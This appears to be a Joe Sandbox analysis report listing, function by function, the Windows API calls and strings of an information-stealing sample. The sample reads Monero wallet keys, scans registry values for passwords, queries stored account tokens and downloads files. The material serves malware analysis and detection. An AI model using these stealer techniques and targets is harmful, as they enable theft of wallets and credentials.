lstrcat.KERNEL32(?,.keys), ref: 00DE1377

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,01979D18,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00DE1465

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

DeleteFileA.KERNEL32(00000000), ref: 00DE14EF

Strings

.keys, xrefs: 00DE136B
wallet_path, xrefs: 00DE1330
SOFTWARE\monero-project\monero-core, xrefs: 00DE1335
\Monero\wallet.keys, xrefs: 00DE138D

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 694b7599c03a9d0d8ca99cff294e915b89dde7e5553e13e5718c4abb107936ce
Instruction ID: 6c17fdf23f5395240724fc906552423c6f551bd5284bb0bc174584e66f93a9ab
Opcode Fuzzy Hash: 694b7599c03a9d0d8ca99cff294e915b89dde7e5553e13e5718c4abb107936ce
Instruction Fuzzy Hash: D1512EF195021997CB25FB64DD92AED737CEF50300F4181A8B70E66082EE746B89CBB5

Function 00DE75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00DE733A
Part of subcall function 00DE72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00DE73B1
Part of subcall function 00DE72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00DE740D
Part of subcall function 00DE72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00DE7452
Part of subcall function 00DE72D0: HeapFree.KERNEL32(00000000), ref: 00DE7459

lstrcat.KERNEL32(00000000,00E017FC), ref: 00DE7606
lstrcat.KERNEL32(00000000,00000000), ref: 00DE7648
lstrcat.KERNEL32(00000000, : ), ref: 00DE765A
lstrcat.KERNEL32(00000000,00000000), ref: 00DE768F
lstrcat.KERNEL32(00000000,00E01804), ref: 00DE76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00DE76D3
lstrcat.KERNEL32(00000000,00E01808), ref: 00DE76ED
task.LIBCPMTD ref: 00DE76FB

Strings

: , xrefs: 00DE764E

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: e8681721fe8043956a62b7ecc9f1da4a7b8983f571557acfb508209ff12ff536
Instruction ID: 8832eefe7296b19e313e7f0714ce9a3b71c90e5d6bcb827873d08b392c08a861
Opcode Fuzzy Hash: e8681721fe8043956a62b7ecc9f1da4a7b8983f571557acfb508209ff12ff536
Instruction Fuzzy Hash: CA314F75A00249DBCB68FFA5DC59DFE7378EB48301B204118F106A7284DE39A946DB70

Function 00DE60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

InternetOpenA.WININET(00E00DF7,00000001,00000000,00000000,00000000), ref: 00DE610F
StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00DE618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00DE61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00DE61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DE620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00DE6249
InternetCloseHandle.WININET(?), ref: 00DE6253
InternetCloseHandle.WININET(00000000), ref: 00DE6260

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f468309548732481f990e7ce1d2de7c23cb9e552d6bb12c40f42c53d6e9d5c86
Instruction ID: 4983c4b91fdbd00237fe5f8b9746e192f516ac4d5b51b42653c29ebcafed9f11
Opcode Fuzzy Hash: f468309548732481f990e7ce1d2de7c23cb9e552d6bb12c40f42c53d6e9d5c86
Instruction Fuzzy Hash: 89516EB1A00218EBDB20EF51DC45BEE77B8FB44745F108098E709A7184DB75AA85CFB9

Function 00DE72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00DE733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00DE73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00DE740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00DE7452
HeapFree.KERNEL32(00000000), ref: 00DE7459
task.LIBCPMTD ref: 00DE7555

Strings

Password, xrefs: 00DE7401

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: ba2a972815c4c60bb5c4c829680688c0c10687efd49944229eaf356e8dda9adb
Instruction ID: 5d61987f21070368134c4e0ccd51b8ec5afc415edf1f60a8b275e2c1826a0e0d
Opcode Fuzzy Hash: ba2a972815c4c60bb5c4c829680688c0c10687efd49944229eaf356e8dda9adb
Instruction Fuzzy Hash: 29611AB59042989BDB24EB51DC51BD9B7B8FF44300F0481E9E689A6181EBB05FC9CFB0

Function 00DEBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

lstrlen.KERNEL32(00000000), ref: 00DEBC9F

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00DEBCCD
lstrlen.KERNEL32(00000000), ref: 00DEBDA5
lstrlen.KERNEL32(00000000), ref: 00DEBDB9

Strings

AccountTokens, xrefs: 00DEBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00DEBBEB
AccountTokens, xrefs: 00DEBB49
AccountId, xrefs: 00DEBCC4

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 36582db688aa63c8c43e44538ac26c50a25dd4fe03c2142522e3f9cf8000f6e8
Instruction ID: 466480349c74b5feda3ff6c6356eb341d0cae080d06d67f7c5b28c302d22f1b5
Opcode Fuzzy Hash: 36582db688aa63c8c43e44538ac26c50a25dd4fe03c2142522e3f9cf8000f6e8
Instruction Fuzzy Hash: 93B15FB191011C9BCB14FBA4CC96EFE7338EF54300F558169F60AA6095EF746A49CB72

Function 00DF6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00DF6774
ExitProcess.KERNEL32 ref: 00DF67A5
ExitProcess.KERNEL32 ref: 00DF67AF
ExitProcess.KERNEL32 ref: 00DF67B9
ExitProcess.KERNEL32 ref: 00DF67C3
ExitProcess.KERNEL32 ref: 00DF67CD

Strings

*, xrefs: 00DF678C

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 924886a04af39a3cc68d80d4a27c4bab66a3552ca0599b1511b20bf76238bd3c
Instruction ID: b81483b4ae803f9f8c695413070e5cf4afddae1606be2ced5e71c07000805122
Opcode Fuzzy Hash: 924886a04af39a3cc68d80d4a27c4bab66a3552ca0599b1511b20bf76238bd3c
Instruction Fuzzy Hash: DFF05430A04209EFD364AFE0E90972CBB70FB14707F244198E646C7F84DA7A4B41DBA9

Function 00DE4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00DE4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00DE4FD1
InternetOpenA.WININET(00E00DDF,00000000,00000000,00000000,00000000), ref: 00DE4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00DE5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00DE5041
InternetCloseHandle.WININET(?), ref: 00DE50B9
InternetCloseHandle.WININET(?), ref: 00DE50C6

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3cc2271e0d8dd89e2287b290bd204a84c49487419a833316f23835aec1874764
Instruction ID: 8b7e80bcdc73c6cb8feae758fdb7c7c922b85f909697f93ffce193ed4c4a9b3f
Opcode Fuzzy Hash: 3cc2271e0d8dd89e2287b290bd204a84c49487419a833316f23835aec1874764
Instruction Fuzzy Hash: A631F7B4A00218EBDB20DF54DC85BD8B7B4FB48704F5081D9F609A7285CB756A858FA8

Function 00DF8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0197EC20,00000000,?,00E00E2C,00000000,?,00000000), ref: 00DF8130
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00DF8158
wsprintfA.USER32 ref: 00DF81AC

Strings

@, xrefs: 00DF814D
%d MB, xrefs: 00DF81A3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: b77fcbb1f89f971ab0b424497f427a73d7f3f1548662b68654ffdc6ecb477337
Instruction ID: 7f8d9f0be049c980da77cb8076944dffc0a2677623dbcbeacf2dca0f6ce5b7d1
Opcode Fuzzy Hash: b77fcbb1f89f971ab0b424497f427a73d7f3f1548662b68654ffdc6ecb477337
Instruction Fuzzy Hash: B821F9B1E44218ABDB10DFD4CC49FAEB7B9EB44B10F208609F705BB284DB7959058BA5

Function 00DF83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DF8426
wsprintfA.USER32 ref: 00DF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00DF847B
RegCloseKey.ADVAPI32(00000000), ref: 00DF848C
RegCloseKey.ADVAPI32(00000000), ref: 00DF8499

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

RegQueryValueExA.ADVAPI32(00000000,0197EAD0,00000000,000F003F,?,00000400), ref: 00DF84EC
lstrlen.KERNEL32(?), ref: 00DF8501
RegQueryValueExA.ADVAPI32(00000000,0197EC50,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E00B34), ref: 00DF8599
RegCloseKey.ADVAPI32(00000000), ref: 00DF8608
RegCloseKey.ADVAPI32(00000000), ref: 00DF861A

Strings

%s\%s, xrefs: 00DF844D

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 79f3e6a64ad31ca7adbdf91ac883718ae6a83753f634fbd715f7a3b2ad8fd640
Instruction ID: 9a95b52d523c6463e0ecba1c03b3eed4da58b583dc31fff527696cd2b9e4f2c8
Opcode Fuzzy Hash: 79f3e6a64ad31ca7adbdf91ac883718ae6a83753f634fbd715f7a3b2ad8fd640
Instruction Fuzzy Hash: 2821F8B1A0022CABDB24DF54DC85FE9B3B8FB48700F10C598E649A6140DF756A85CFA4

Function 00DF7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00DF76AB
RegOpenKeyExA.ADVAPI32(80000002,0196B9A8,00000000,00020119,00000000), ref: 00DF76DD
RegQueryValueExA.ADVAPI32(00000000,0197EBA8,00000000,00000000,?,000000FF), ref: 00DF76FE
RegCloseKey.ADVAPI32(00000000), ref: 00DF7708

Strings

